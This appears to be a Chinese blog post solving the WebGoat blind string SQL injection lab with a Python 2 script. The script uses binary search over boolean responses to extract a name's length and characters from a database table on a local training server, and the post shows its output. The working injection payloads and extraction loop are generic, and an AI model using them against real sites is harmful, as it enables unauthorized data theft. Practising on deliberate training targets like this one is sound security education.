webgoat 中 Blind String SQL Injection 的 Python 编程解决

本文介绍了一个使用Python进行SQL注入攻击的实例。通过构造特定的SQL查询字符串并利用Python的网络请求库,实现了对目标网站的有效攻击,成功获取了指定的数据。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

这个 task 如果用手工尝试的话, 还是比较麻烦的. 决定用编程解决.

Python处理任务相关的问题比较方便, 花时间入门了下 python, 然后开始写代码, 很简单的原理. 

在这期间发现简单的算法都不熟了, 汗.

以下是代码

#!/usr/bin/python
#author: dengzhaoqun
#date: 2013-03-08
#email: dengzhaoqun@163.com

import urllib
import urllib2
import sys

url= 'http://localhost/WebGoat/attack?Screen=3433&menu=1100'
account = 101
result = '<p>Account number is valid</form></div>'

def isValid(str):
    params = urllib.urlencode({'account_number': str, 'SUBMIT':'Go!'})
    req = urllib2.Request(url, params, {'Cookie':'JSESSIONID=8FFA3190C91029D2BB486DEBE4D037B0'})
    f = urllib2.urlopen(req)
    content = f.read()
    ret = content.find(result)
    if(ret == -1):
        return False
    return True


#get name len
lenMax = 100
lenMin = 1

while(lenMax > lenMin):
    #print lenMax, lenMin
    len = (lenMax + lenMin) / 2
    str = "%d and ((LENGTH(select name from pins where cc_number = '4321432143214321')) <= %d)" %(account, len)
    #print str
    valid = isValid(str)
    if( not valid):
        lenMin = len + 1
    else:
        lenMax = len

print "--- name len: %d ---" %lenMax        


# get name
name = ''
for i in range(1, lenMax + 1):
    charMax = 122  # 'z'
    charMin = 65 # 'A'
    while(charMax > charMin):
        #print chr(charMax), chr(charMin)
        char = (charMax + charMin) / 2
        str = "%d and ((SUBSTRING((select name from pins where cc_number = '4321432143214321'), %d, 1)) <= '%s')" %(account, i, chr(char))
        #print str
        valid = isValid(str)
        if( not valid):
            charMin = char + 1
        else:
            charMax = char
    name += chr(charMax)

print '--- name: %s ---' % name
运行结果如下
--- name len: 4 ---
--- name: Jill ---
"Jill" 即是所求的 name .



评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值